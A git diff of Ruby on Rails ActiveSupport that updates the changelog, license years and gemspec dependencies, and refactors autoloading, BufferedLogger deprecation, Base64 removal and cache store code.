+*   `constantize` now looks in the ancestor chain. *Marc-Andre Lafortune & Andrew White*
+
+*   Adds `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a +Hash+ instance into strings *Lucas Húngaro*
+
+*   Adds `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a +Hash+ instance into symbols *Lucas Húngaro*
+
+*   `Object#try` can't call private methods. *Vasiliy Ermolovich*
+
+*   `AS::Callbacks#run_callbacks` remove `key` argument. *Francesco Rodriguez*
+
+*   `deep_dup` works more expectedly now and duplicates also values in +Hash+ instances and elements in +Array+ instances. *Alexey Gaziev*
+
+*   Inflector no longer applies ice -> ouse to words like slice, police, ets *Wes Morgan*
+
+*   Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations *twinturbo*
+
+*   Make Module#delegate stop using `send` - can no longer delegate to private methods. *dasch*
+
+*   AS::Callbacks: deprecate `:rescuable` option. *Bogdan Gusiev*
+
+*   Adds Integer#ordinal to get the ordinal suffix string of an integer. *Tim Gildea*
+
+*   AS::Callbacks: `:per_key` option is no longer supported
+
+*   `AS::Callbacks#define_callbacks`: add `:skip_after_callbacks_if_terminated` option.
+
+*   Add html_escape_once to ERB::Util, and delegate escape_once tag helper to it. *Carlos Antonio da Silva*
+
+*   Remove ActiveSupport::TestCase#pending method, use `skip` instead. *Carlos Antonio da Silva*
+
+*   Deprecates the compatibility method Module#local_constant_names,
+    use Module#local_constants instead (which returns symbols). *fxn*
+
+*   Deletes the compatibility method Module#method_names,
+    use Module#methods from now on (which returns symbols). *fxn*
+
+*   Deletes the compatibility method Module#instance_method_names,
+    use Module#instance_methods from now on (which returns symbols). *fxn*
+
+*   BufferedLogger is deprecated.  Use ActiveSupport::Logger, or the logger
+    from Ruby stdlib.
+
+*   Unicode database updated to 6.1.0.
+
+*   Adds `encode_big_decimal_as_string` option to force JSON serialization of BigDecimals as numeric instead
+    of wrapping them in strings for safety.
+
+*   Remove deprecated ActiveSupport::JSON::Variable. *Erich Menge*
+
+
+## Rails 3.2.8 (Aug 9, 2012) ##
+
+*   Fix ActiveSupport integration with Mocha > 0.12.1. *Mike Gunderloy*
+
+*   Reverted the deprecation of ActiveSupport::JSON::Variable. *Rafael Mendonça França*
+
+*   ERB::Util.html_escape now escapes single quotes. *Santiago Pastorino*
+
+
+## Rails 3.2.7 (Jul 26, 2012) ##
+
+*   Hash#fetch(fetch) is not the same as doing hash[key]
+
+*   adds a missing require [fixes #6896]
+
+*   make sure the inflection rules are loaded when cherry-picking active_support/core_ext/string/inflections.rb [fixes #6884]
+
+*   Merge pull request #6857 from rsutphin/as_core_ext_time_missing_require
+
+*   bump AS deprecation_horizon to 4.0
+
+
+## Rails 3.2.6 (Jun 12, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.5 (Jun 1, 2012) ##
+
+*   ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods
+    for custom JSON string literals. *Erich Menge*
+
+
+## Rails 3.2.4 (May 31, 2012) ##
+
+*   Added #beginning_of_hour and #end_of_hour to Time and DateTime core
+    extensions. *Mark J. Titorenko*
+
+
+## Rails 3.2.3 (March 30, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   Documentation fixes and improvements.
+
+*   Update time zone offset information. *Ravil Bayramgalin*
+
+*   The deprecated `ActiveSupport::Base64.decode64` calls `::Base64.decode64`
+    now. *Jonathan Viney*
+
+*   Fixes uninitialized constant `ActiveSupport::TaggedLogging::ERROR`. *kennyj*
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   ActiveSupport::Base64 is deprecated in favor of ::Base64. *Sergey Nartimov*
+
+*   Module#synchronize is deprecated with no replacement.  Please use `monitor`
+    from ruby's standard library.
+
+*   (Date|DateTime|Time)#beginning_of_week accept an optional argument to
+    be able to set the day at which weeks are assumed to start.
+
+*   Deprecated ActiveSupport::MessageEncryptor#encrypt and decrypt. *José Valim*
 
 *   ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs. *fxn*
 
@@ -37,6 +219,59 @@
 *   ActiveSupport::OrderedHash now has different behavior for #each and
     \#each_pair when given a block accepting its parameters with a splat. *Andrew Radev*
 
+*   ActiveSupport::BufferedLogger#silence is deprecated.  If you want to squelch
+    logs for a certain block, change the log level for that block.
+
+*   ActiveSupport::BufferedLogger#open_log is deprecated.  This method should
+    not have been public in the first place.
+
+*   ActiveSupport::BufferedLogger's behavior of automatically creating the
+    directory for your log file is deprecated.  Please make sure to create the
+    directory for your log file before instantiating.
+
+*   ActiveSupport::BufferedLogger#auto_flushing is deprecated.  Either set the
+    sync level on the underlying file handle like this:
+
+        f = File.open('foo.log', 'w')
+        f.sync = true
+        ActiveSupport::BufferedLogger.new f
+
+    Or tune your filesystem.  The FS cache is now what controls flushing.
+
+*   ActiveSupport::BufferedLogger#flush is deprecated.  Set sync on your
+    filehandle, or tune your filesystem.
+
+
+## Rails 3.1.4 (March 1, 2012) ##
+
+*   No changes
+
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.1 (October 7, 2011) ##
+
+*   ruby193: String#prepend is also unsafe *Akira Matsuda*
+
+*   Fix obviously breakage of Time.=== for Time subclasses *jeremyevans*
+
+*   Added fix so that file store does not raise an exception when cache dir does
+    not exist yet. This can happen if a delete_matched is called before anything
+    is saved in the cache. *Philippe Huibonhoa*
+
+*   Fixed performance issue where TimeZone lookups would require tzinfo each time *Tim Lucas*
+
+*   ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options! *Prem Sichanugrist*
+
+
 ## Rails 3.1.0 (August 30, 2011) ##
 
 *   ActiveSupport::Dependencies#load and ActiveSupport::Dependencies#require now
@@ -79,12 +314,38 @@
 *   JSON decoding now uses the multi_json gem which also vendors a json engine called OkJson. The yaml backend has been removed in favor of OkJson as a default engine for 1.8.x, while the built in 1.9.x json implementation will be used by default. *Josh Kalderimis*
 
 
+## Rails 3.0.12 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*  Delayed backtrace scrubbing in `load_missing_constant` until we actually
+   raise the exception
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   No changes.
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   Hash.from_xml no longer loses attributes on tags containing only whitespace *André Arko*
 
 
-*   Rails 3.0.6 (April 5, 2011)
+## Rails 3.0.6 (April 5, 2011) ##
 
 *   No changes.
 
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 5e8b7a9450..c2bcf1d3e7 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2011 David Heinemeier Hansson
+Copyright (c) 2005-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
index 1ab8e00608..ed688ecc59 100644
--- a/activesupport/README.rdoc
+++ b/activesupport/README.rdoc
@@ -19,7 +19,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Active Support is released under the MIT license.
+Active Support is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 
 == Support
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
index 822c9d98ae..822c9d98ae 100755..100644
--- a/activesupport/Rakefile
+++ b/activesupport/Rakefile
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index 70d17fb580..836bc2f9cf 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -7,7 +7,8 @@ Gem::Specification.new do |s|
   s.summary     = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework.'
   s.description = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing.'
 
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author       = 'David Heinemeier Hansson'
   s.email        = 'david@loudthinking.com'
@@ -16,6 +17,10 @@ Gem::Specification.new do |s|
   s.files        = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
   s.require_path = 'lib'
 
+  s.rdoc_options.concat ['--encoding',  'UTF-8']
+
   s.add_dependency('i18n',       '~> 0.6')
-  s.add_dependency('multi_json', '~> 1.0')
+  s.add_dependency('multi_json', '~> 1.3')
+  s.add_dependency('tzinfo',     '~> 0.3.33')
+  s.add_dependency('minitest',   '~> 3.2')
 end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
index 5fefa429df..5fefa429df 100644..100755
--- a/activesupport/bin/generate_tables
+++ b/activesupport/bin/generate_tables
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index ff78e718f2..41d77ab6c1 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2005-2011 David Heinemeier Hansson
+# Copyright (c) 2005-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -22,59 +22,44 @@
 #++
 
 require 'securerandom'
-
-module ActiveSupport
-  class << self
-    attr_accessor :load_all_hooks
-    def on_load_all(&hook) load_all_hooks << hook end
-    def load_all!; load_all_hooks.each { |hook| hook.call } end
-  end
-  self.load_all_hooks = []
-
-  on_load_all do
-    [Dependencies, Deprecation, Gzip, MessageVerifier, Multibyte]
-  end
-end
-
 require "active_support/dependencies/autoload"
 require "active_support/version"
+require "active_support/logger"
+require "active_support/lazy_load_hooks"
 
 module ActiveSupport
   extend ActiveSupport::Autoload
 
+  autoload :Concern
+  autoload :Dependencies
   autoload :DescendantsTracker
   autoload :FileUpdateChecker
   autoload :LogSubscriber
   autoload :Notifications
 
-  # TODO: Narrow this list down
   eager_autoload do
     autoload :BacktraceCleaner
-    autoload :Base64
     autoload :BasicObject
     autoload :Benchmarkable
-    autoload :BufferedLogger
     autoload :Cache
     autoload :Callbacks
-    autoload :Concern
     autoload :Configurable
     autoload :Deprecation
     autoload :Gzip
     autoload :Inflector
     autoload :JSON
-    autoload :Memoizable
     autoload :MessageEncryptor
     autoload :MessageVerifier
     autoload :Multibyte
     autoload :OptionMerger
     autoload :OrderedHash
     autoload :OrderedOptions
-    autoload :Rescuable
     autoload :StringInquirer
     autoload :TaggedLogging
     autoload :XmlMini
   end
 
+  autoload :Rescuable
   autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
   autoload :TestCase
 end
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index 8f8deb9692..7c3a41288b 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -1,23 +1,21 @@
 module ActiveSupport
-  # Backtraces often include many lines that are not relevant for the context under review. This makes it hard to find the 
+  # Backtraces often include many lines that are not relevant for the context under review. This makes it hard to find the
   # signal amongst the backtrace noise, and adds debugging time. With a BacktraceCleaner, filters and silencers are used to
   # remove the noisy lines, so that only the most relevant lines remain.
   #
   # Filters are used to modify lines of data, while silencers are used to remove lines entirely.  The typical filter use case
-  # is to remove lengthy path information from the start of each line, and view file paths relevant to the app directory 
-  # instead of the file system root.  The typical silencer use case is to exclude the output of a noisy library from the 
+  # is to remove lengthy path information from the start of each line, and view file paths relevant to the app directory
+  # instead of the file system root.  The typical silencer use case is to exclude the output of a noisy library from the
   # backtrace, so that you can focus on the rest.
   #
-  # ==== Example:
-  #
   #   bc = BacktraceCleaner.new
   #   bc.add_filter   { |line| line.gsub(Rails.root, '') }
   #   bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
   #   bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
   #
-  # To reconfigure an existing BacktraceCleaner (like the default one in Rails) and show as much data as possible, you can 
-  # always call <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the backtrace to a pristine state.  If you 
-  # need to reconfigure an existing BacktraceCleaner so that it does not filter or modify the paths of any lines of the 
+  # To reconfigure an existing BacktraceCleaner (like the default one in Rails) and show as much data as possible, you can
+  # always call <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the backtrace to a pristine state.  If you
+  # need to reconfigure an existing BacktraceCleaner so that it does not filter or modify the paths of any lines of the
   # backtrace, you can call BacktraceCleaner#remove_filters! These two methods will give you a completely untouched backtrace.
   #
   # Inspired by the Quiet Backtrace gem by Thoughtbot.
@@ -42,19 +40,15 @@ module ActiveSupport
 
     # Adds a filter from the block provided. Each line in the backtrace will be mapped against this filter.
     #
-    # Example:
-    #
     #   # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
     #   backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
     def add_filter(&block)
       @filters << block
     end
 
-    # Adds a silencer from the block provided. If the silencer returns true for a given line, it will be excluded from 
+    # Adds a silencer from the block provided. If the silencer returns true for a given line, it will be excluded from
     # the clean backtrace.
     #
-    # Example:
-    #
     #   # Will reject all lines that include the word "mongrel", like "/gems/mongrel/server.rb" or "/app/my_mongrel_server/rb"
     #   backtrace_cleaner.add_silencer { |line| line =~ /mongrel/ }
     def add_silencer(&block)
diff --git a/activesupport/lib/active_support/base64.rb b/activesupport/lib/active_support/base64.rb
deleted file mode 100644
index 35014cb3d5..0000000000
--- a/activesupport/lib/active_support/base64.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-begin
-  require 'base64'
-rescue LoadError
-end
-
-module ActiveSupport
-  if defined? ::Base64
-    Base64 = ::Base64
-  else
-    # Base64 provides utility methods for encoding and de-coding binary data
-    # using a base 64 representation. A base 64 representation of binary data
-    # consists entirely of printable US-ASCII characters. The Base64 module
-    # is included in Ruby 1.8, but has been removed in Ruby 1.9.
-    module Base64
-      # Encodes a string to its base 64 representation. Each 60 characters of
-      # output is separated by a newline character.
-      #
-      #  ActiveSupport::Base64.encode64("Original unencoded string")
-      #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==\n"
-      def self.encode64(data)
-        [data].pack("m")
-      end
-
-      # Decodes a base 64 encoded string to its original representation.
-      #
-      #  ActiveSupport::Base64.decode64("T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw==")
-      #  # => "Original unencoded string"
-      def self.decode64(data)
-        data.unpack("m").first
-      end
-    end
-  end
-
-  # Encodes the value as base64 without the newline breaks. This makes the base64 encoding readily usable as URL parameters
-  # or memcache keys without further processing.
-  #
-  #  ActiveSupport::Base64.encode64s("Original unencoded string")
-  #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw=="
-  def Base64.encode64s(value)
-    encode64(value).gsub(/\n/, '')
-  end
-end
diff --git a/activesupport/lib/active_support/basic_object.rb b/activesupport/lib/active_support/basic_object.rb
index 3b5277c205..6ccb0cd525 100644
--- a/activesupport/lib/active_support/basic_object.rb
+++ b/activesupport/lib/active_support/basic_object.rb
@@ -1,21 +1,13 @@
 module ActiveSupport
-  if defined? ::BasicObject
-    # A class with no predefined methods that behaves similarly to Builder's
-    # BlankSlate. Used for proxy classes.
-    class BasicObject < ::BasicObject
-      undef_method :==
-      undef_method :equal?
+  # A class with no predefined methods that behaves similarly to Builder's
+  # BlankSlate. Used for proxy classes.
+  class BasicObject < ::BasicObject
+    undef_method :==
+    undef_method :equal?
 
-      # Let ActiveSupport::BasicObject at least raise exceptions.
-      def raise(*args)
-        ::Object.send(:raise, *args)
-      end
-    end
-  else
-    class BasicObject #:nodoc:
-      instance_methods.each do |m|
-        undef_method(m) if m.to_s !~ /(?:^__|^nil\?$|^send$|^object_id$)/
-      end
+    # Let ActiveSupport::BasicObject at least raise exceptions.
+    def raise(*args)
+      ::Object.send(:raise, *args)
     end
   end
 end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
index cc94041a1d..f149a7f0ed 100644
--- a/activesupport/lib/active_support/benchmarkable.rb
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -35,7 +35,7 @@ module ActiveSupport
         options[:level] ||= :info
 
         result = nil
-        ms = Benchmark.ms { result = options[:silence] ? logger.silence { yield } : yield }
+        ms = Benchmark.ms { result = options[:silence] ? silence { yield } : yield }
         logger.send(options[:level], '%s (%.1fms)' % [ message, ms ])
         result
       else
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
index 136e245859..0595446189 100644
--- a/activesupport/lib/active_support/buffered_logger.rb
+++ b/activesupport/lib/active_support/buffered_logger.rb
@@ -1,165 +1,7 @@
-require 'thread'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/deprecation'
+require 'active_support/logger'
 
 module ActiveSupport
-  # Inspired by the buffered logger idea by Ezra
-  class BufferedLogger
-    module Severity
-      DEBUG   = 0
-      INFO    = 1
-      WARN    = 2
-      ERROR   = 3
-      FATAL   = 4
-      UNKNOWN = 5
-    end
-    include Severity
-
-    MAX_BUFFER_SIZE = 1000
-
-    ##
-    # :singleton-method:
-    # Set to false to disable the silencer
-    cattr_accessor :silencer
-    self.silencer = true
-
-    # Silences the logger for the duration of the block.
-    def silence(temporary_level = ERROR)
-      if silencer
-        old_logger_level = @tmp_levels[Thread.current]
-        begin
-          @tmp_levels[Thread.current] = temporary_level
-          yield self
-        ensure
-          if old_logger_level
-            @tmp_levels[Thread.current] = old_logger_level
-          else
-            @tmp_levels.delete(Thread.current)
-          end
-        end
-      else
-        yield self
-      end
-    end
-
-    attr_writer :level
-    attr_reader :auto_flushing
-
-    def initialize(log, level = DEBUG)
-      @level         = level
-      @tmp_levels    = {}
-      @buffer        = Hash.new { |h,k| h[k] = [] }
-      @auto_flushing = 1
-      @guard = Mutex.new
-
-      if log.respond_to?(:write)
-        @log = log
-      elsif File.exist?(log)
-        @log = open_log(log, (File::WRONLY | File::APPEND))
-      else
-        FileUtils.mkdir_p(File.dirname(log))
-        @log = open_log(log, (File::WRONLY | File::APPEND | File::CREAT))
-      end
-    end
-
-    def open_log(log, mode)
-      open(log, mode).tap do |open_log|
-        open_log.set_encoding(Encoding::BINARY) if open_log.respond_to?(:set_encoding)
-        open_log.sync = true
-      end
-    end
-
-    def level
-      @tmp_levels[Thread.current] || @level
-    end
-
-    def add(severity, message = nil, progname = nil, &block)
-      return if level > severity
-      message = (message || (block && block.call) || progname).to_s
-      # If a newline is necessary then create a new message ending with a newline.
-      # Ensures that the original message is not mutated.
-      message = "#{message}\n" unless message[-1] == ?\n
-      buffer << message
-      auto_flush
-      message
-    end
-
-    # Dynamically add methods such as:
-    # def info
-    # def warn
-    # def debug
-    Severity.constants.each do |severity|
-      class_eval <<-EOT, __FILE__, __LINE__ + 1
-        def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block)
-          add(#{severity}, message, progname, &block)                   #   add(DEBUG, message, progname, &block)
-        end                                                             # end
-
-        def #{severity.downcase}?                                       # def debug?
-          #{severity} >= level                                         #   DEBUG >= @level
-        end                                                             # end
-      EOT
-    end
-
-    # Set the auto-flush period. Set to true to flush after every log message,
-    # to an integer to flush every N messages, or to false, nil, or zero to
-    # never auto-flush. If you turn auto-flushing off, be sure to regularly
-    # flush the log yourself -- it will eat up memory until you do.
-    def auto_flushing=(period)
-      @auto_flushing =
-        case period
-        when true;                1
-        when false, nil, 0;       MAX_BUFFER_SIZE
-        when Integer;             period
-        else raise ArgumentError, "Unrecognized auto_flushing period: #{period.inspect}"
-        end
-    end
-
-    def flush
-      @guard.synchronize do
-        write_buffer(buffer)
-
-        # Important to do this even if buffer was empty or else @buffer will
-        # accumulate empty arrays for each request where nothing was logged.
-        clear_buffer
-
-        # Clear buffers associated with dead threads or else spawned threads
-        # that don't call flush will result in a memory leak.
-        flush_dead_buffers
-      end
-    end
-
-    def close
-      flush
-      @log.close if @log.respond_to?(:close)
-      @log = nil
-    end
-
-    protected
-      def auto_flush
-        flush if buffer.size >= @auto_flushing
-      end
-
-      def buffer
-        @buffer[Thread.current]
-      end
-
-      def clear_buffer
-        @buffer.delete(Thread.current)
-      end
-
-      # Find buffers created by threads that are no longer alive and flush them to the log
-      # in order to prevent memory leaks from spawned threads.
-      def flush_dead_buffers #:nodoc:
-        @buffer.keys.reject{|thread| thread.alive?}.each do |thread|
-          buffer = @buffer[thread]
-          write_buffer(buffer)
-          @buffer.delete(thread)
-        end
-      end
-
-      def write_buffer(buffer)
-        buffer.each do |content|
-          @log.write(content)
-        end
-      end
-  end
+  BufferedLogger = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(
+    'BufferedLogger', '::ActiveSupport::Logger')
 end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 6535cc1eb5..a62214d604 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -16,6 +16,7 @@ module ActiveSupport
     autoload :FileStore, 'active_support/cache/file_store'
     autoload :MemoryStore, 'active_support/cache/memory_store'
     autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
+    autoload :NullStore, 'active_support/cache/null_store'
 
     # These options mean something to all cache implementations. Individual cache
     # implementations may support additional options.
@@ -25,75 +26,75 @@ module ActiveSupport
       autoload :LocalCache, 'active_support/cache/strategy/local_cache'
     end
 
-    # Creates a new CacheStore object according to the given options.
-    #
-    # If no arguments are passed to this method, then a new
-    # ActiveSupport::Cache::MemoryStore object will be returned.
-    #
-    # If you pass a Symbol as the first argument, then a corresponding cache
-    # store class under the ActiveSupport::Cache namespace will be created.
-    # For example:
-    #
-    #   ActiveSupport::Cache.lookup_store(:memory_store)
-    #   # => returns a new ActiveSupport::Cache::MemoryStore object
-    #
-    #   ActiveSupport::Cache.lookup_store(:mem_cache_store)
-    #   # => returns a new ActiveSupport::Cache::MemCacheStore object
-    #
-    # Any additional arguments will be passed to the corresponding cache store
-    # class's constructor:
-    #
-    #   ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
-    #   # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
-    #
-    # If the first argument is not a Symbol, then it will simply be returned:
-    #
-    #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
-    #   # => returns MyOwnCacheStore.new
-    def self.lookup_store(*store_option)
-      store, *parameters = *Array.wrap(store_option).flatten
-
-      case store
-      when Symbol
-        store_class_name = store.to_s.camelize
-        store_class =
-          begin
-            require "active_support/cache/#{store}"
-          rescue LoadError => e
-            raise "Could not find cache store adapter for #{store} (#{e})"
-          else
-            ActiveSupport::Cache.const_get(store_class_name)
-          end
-        store_class.new(*parameters)
-      when nil
-        ActiveSupport::Cache::MemoryStore.new
-      else
-        store
+    class << self
+      # Creates a new CacheStore object according to the given options.
+      #
+      # If no arguments are passed to this method, then a new
+      # ActiveSupport::Cache::MemoryStore object will be returned.
+      #
+      # If you pass a Symbol as the first argument, then a corresponding cache
+      # store class under the ActiveSupport::Cache namespace will be created.
+      # For example:
+      #
+      #   ActiveSupport::Cache.lookup_store(:memory_store)
+      #   # => returns a new ActiveSupport::Cache::MemoryStore object
+      #
+      #   ActiveSupport::Cache.lookup_store(:mem_cache_store)
+      #   # => returns a new ActiveSupport::Cache::MemCacheStore object
+      #
+      # Any additional arguments will be passed to the corresponding cache store
+      # class's constructor:
+      #
+      #   ActiveSupport::Cache.lookup_store(:file_store, "/tmp/cache")
+      #   # => same as: ActiveSupport::Cache::FileStore.new("/tmp/cache")
+      #
+      # If the first argument is not a Symbol, then it will simply be returned:
+      #
+      #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+      #   # => returns MyOwnCacheStore.new
+      def lookup_store(*store_option)
+        store, *parameters = *Array.wrap(store_option).flatten
+
+        case store
+        when Symbol
+          store_class_name = store.to_s.camelize
+          store_class =
+            begin
+              require "active_support/cache/#{store}"
+            rescue LoadError => e
+              raise "Could not find cache store adapter for #{store} (#{e})"
+            else
+              ActiveSupport::Cache.const_get(store_class_name)
+            end
+          store_class.new(*parameters)
+        when nil
+          ActiveSupport::Cache::MemoryStore.new
+        else
+          store
+        end
       end
-    end
 
-    def self.expand_cache_key(key, namespace = nil)
-      expanded_cache_key = namespace ? "#{namespace}/" : ""
+      def expand_cache_key(key, namespace = nil)
+        expanded_cache_key = namespace ? "#{namespace}/" : ""
+
+        if prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+          expanded_cache_key << "#{prefix}/"
+        end
 
-      prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
-      if prefix
-        expanded_cache_key << "#{prefix}/"
+        expanded_cache_key << retrieve_cache_key(key)
+        expanded_cache_key
       end
 
-      expanded_cache_key <<
-        if key.respond_to?(:cache_key)
-          key.cache_key
-        elsif key.is_a?(Array)
-          if key.size > 1
-            key.collect { |element| expand_cache_key(element) }.to_param
-          else
-            key.first.to_param
-          end
-        elsif key
-          key.to_param
-        end.to_s
+      private
 
-      expanded_cache_key
+      def retrieve_cache_key(key)
+        case
+        when key.respond_to?(:cache_key) then key.cache_key
+        when key.is_a?(Array)            then key.map { |element| retrieve_cache_key(element) }.to_param
+        when key.respond_to?(:to_a)      then retrieve_cache_key(key.to_a)
+        else                                  key.to_param
+        end.to_s
+      end
     end
 
     # An abstract cache store class. There are multiple cache store
@@ -149,7 +150,7 @@ module ActiveSupport
 
       # Create a new cache. The options will be passed to any write method calls except
       # for :namespace which can be used to set the global namespace for the cache.
-      def initialize (options = nil)
+      def initialize(options = nil)
         @options = options ? options.dup : {}
       end
 
@@ -279,7 +280,7 @@ module ActiveSupport
             end
           end
           if entry && entry.expired?
-            race_ttl = options[:race_condition_ttl].to_f
+            race_ttl = options[:race_condition_ttl].to_i
             if race_ttl and Time.now.to_f - entry.expires_at <= race_ttl
               entry.expires_at = Time.now + race_ttl
               write_entry(key, entry, :expires_in => race_ttl * 2)
@@ -382,11 +383,7 @@ module ActiveSupport
         options = merged_options(options)
         instrument(:exist?, name) do |payload|
           entry = read_entry(namespaced_key(name, options), options)
-          if entry && !entry.expired?
-            true
-          else
-            false
-          end
+          entry && !entry.expired?
         end
       end
 
@@ -408,7 +405,7 @@ module ActiveSupport
         raise NotImplementedError.new("#{self.class.name} does not support increment")
       end
 
-      # Increment an integer value in the cache.
+      # Decrement an integer value in the cache.
       #
       # Options are passed to the underlying cache implementation.
       #
@@ -538,11 +535,11 @@ module ActiveSupport
         # Create an entry with internal attributes set. This method is intended to be
         # used by implementations that store cache entries in a native format instead
         # of as serialized Ruby objects.
-        def create (raw_value, created_at, options = {})
+        def create(raw_value, created_at, options = {})
           entry = new(nil)
           entry.instance_variable_set(:@value, raw_value)
           entry.instance_variable_set(:@created_at, created_at.to_f)
-          entry.instance_variable_set(:@compressed, !!options[:compressed])
+          entry.instance_variable_set(:@compressed, options[:compressed])
           entry.instance_variable_set(:@expires_in, options[:expires_in])
           entry
         end
@@ -573,6 +570,9 @@ module ActiveSupport
 
       # Get the value stored in the cache.
       def value
+        # If the original value was exactly false @value is still true because
+        # it is marshalled and eventually compressed. Both operations yield
+        # strings.
         if @value
           Marshal.load(compressed? ? Zlib::Inflate.inflate(@value) : @value)
         end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 85e7e21624..2c1ad60d44 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -1,19 +1,18 @@
 require 'active_support/core_ext/file/atomic'
 require 'active_support/core_ext/string/conversions'
-require 'active_support/core_ext/object/inclusion'
-require 'rack/utils'
+require 'uri/common'
 
 module ActiveSupport
   module Cache
     # A cache store implementation which stores everything on the filesystem.
     #
     # FileStore implements the Strategy::LocalCache strategy which implements
-    # an in memory cache inside of a block.
+    # an in-memory cache inside of a block.
     class FileStore < Store
       attr_reader :cache_path
 
       DIR_FORMATTER = "%03X"
-      FILENAME_MAX_SIZE = 230 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+      FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
       EXCLUDED_DIRS = ['.', '..'].freeze
 
       def initialize(cache_path, options = nil)
@@ -23,7 +22,7 @@ module ActiveSupport
       end
 
       def clear(options = nil)
-        root_dirs = Dir.entries(cache_path).reject{|f| f.in?(EXCLUDED_DIRS)}
+        root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
         FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
       end
 
@@ -81,7 +80,8 @@ module ActiveSupport
           if File.exist?(file_name)
             File.open(file_name) { |f| Marshal.load(f) }
           end
-        rescue
+        rescue => e
+          logger.error("FileStoreError (#{e}): #{e.message}") if logger
           nil
         end
 
@@ -126,7 +126,7 @@ module ActiveSupport
 
         # Translate a key into a file path.
         def key_file_path(key)
-          fname = Rack::Utils.escape(key)
+          fname = URI.encode_www_form_component(key)
           hash = Zlib.adler32(fname)
           hash, dir_1 = hash.divmod(0x1000)
           dir_2 = hash.modulo(0x1000)
